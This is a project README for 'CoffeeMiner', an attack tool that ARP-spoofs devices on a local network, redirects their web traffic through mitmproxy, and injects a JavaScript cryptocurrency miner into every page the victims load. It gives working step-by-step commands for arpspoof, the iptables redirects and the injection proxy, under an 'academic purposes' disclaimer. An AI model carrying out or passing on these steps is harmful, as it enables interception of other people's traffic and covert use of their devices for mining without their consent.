arnaucube
arnaucube/coffeeMinerPublic Self-hosted repository
coffeeMiner/README.md
README.mdRaw
 1# CoffeeMiner
 2
 3Collaborative Coffee Mining Pool.
 4
 5**Warning: this project is only with academic purposes.**
 6
 7
 8## Concept
 9- Performs a MITM attack
10- Injects a js script in all the HTML pages requested by the victims
11- The js script injected contains a cryptocurrency miner
12- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
13
14
15## Use
16- install.sh
17```
18bash install.sh
19```
20- edit victims.txt with one IP per line
21- run.py
22```
23python run.py ipgateway
24```
25
26
27
28
29---
30
31
32
33#### Manual use
34- needs to have installed **mitmproxy**
35    https://mitmproxy.org/
36    - installation:
37    ```
38        sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
39
40        pip3 install --user mitmproxy
41    ```
42
43- needs python 3.*
44
45
46- configure IPTABLES
47
48```
49echo 1 > /proc/sys/net/ipv4/ip_forward
50
51iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
52
53iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
54iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
55```
56
57- arpspoof to the victims
58```
59arpspoof -i eth0 -t <victim_ip> <gateway_ip>
60arpspoof -i eth0 -t <gateway_ip> <victim_ip>
61```
62- execute the httpServer.py that will serve the script.js that contains the minner:
63```
64python httpServer.py
65```
66
67- execute the mitmproxy with the injector.py script:
68```
69#~/.local/bin/mitmdump -s "injector.py http://127.0.0.1:8000/script.js"
70```